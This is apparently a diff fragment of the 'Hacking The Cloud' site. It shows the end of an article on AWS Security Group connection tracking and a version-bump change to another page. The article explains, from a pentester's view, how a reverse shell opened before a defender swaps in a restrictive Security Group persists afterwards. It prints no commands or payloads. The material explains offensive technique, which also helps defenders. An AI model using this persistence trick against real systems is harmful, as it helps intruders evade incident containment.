traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic".</p> <p>An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change. </p> <p>Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.</p> <figure> <p><a class=glightbox href=../../../images/aws/general-knowledge/connection-tracking/inbound-sg.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Inbound SG" loading=lazy src=../../../images/aws/general-knowledge/connection-tracking/inbound-sg.png></a></p> </figure> <p>While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple <a href=http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>reverse shell</a>. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS <a href=https://d1.awsstatic.com/whitepapers/aws_security_incident_response.pdf>whitepaper</a> on incident response. </p> <p>As part of the "Isolate" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.</p> <p>The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.</p> <figure> <p><a class=glightbox href=../../../images/aws/general-knowledge/connection-tracking/change-sg.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Change Security Group" loading=lazy src=../../../images/aws/general-knowledge/connection-tracking/change-sg.png></a></p> </figure> <p>The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.</p> <figure> <p><a class=glightbox href=../../../images/aws/general-knowledge/connection-tracking/whoami.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=whoami loading=lazy src=../../../images/aws/general-knowledge/connection-tracking/whoami.png></a></p> </figure> <p>To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).</p> <figure> <p><a class=glightbox href=../../../images/aws/general-knowledge/connection-tracking/no-outbound.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="No Outbound" loading=lazy src=../../../images/aws/general-knowledge/connection-tracking/no-outbound.png></a></p> </figure> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">July 30, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/general-knowledge/iam-key-identifiers/index.html b/aws/general-knowledge/iam-key-identifiers/index.html
index f3198e01a..0e8fab651 100644
--- a/aws/general-knowledge/iam-key-identifiers/index.html
+++ b/aws/general-knowledge/iam-key-identifiers/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Chart of the IAM unique ID prefixes."><link href=https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ rel=canonical><link href=../connection-tracking/ rel=prev><link href=../intro_metadata_service/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>IAM unique identifiers - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="IAM unique identifiers - Hacking The Cloud"><meta property=og:description content="Chart of the IAM unique ID prefixes."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="IAM unique identifiers - Hacking The Cloud"><meta property=twitter:description content="Chart of the IAM unique ID prefixes."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Chart of the IAM unique ID prefixes."><link href=https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ rel=canonical><link href=../connection-tracking/ rel=prev><link href=../intro_metadata_service/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>IAM unique identifiers - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="IAM unique identifiers - Hacking The Cloud"><meta property=og:description content="Chart of the IAM unique ID prefixes."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="IAM unique identifiers - Hacking The Cloud"><meta property=twitter:description content="Chart of the IAM unique ID prefixes."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#iam-id-identifiers class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> IAM unique identifiers </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ 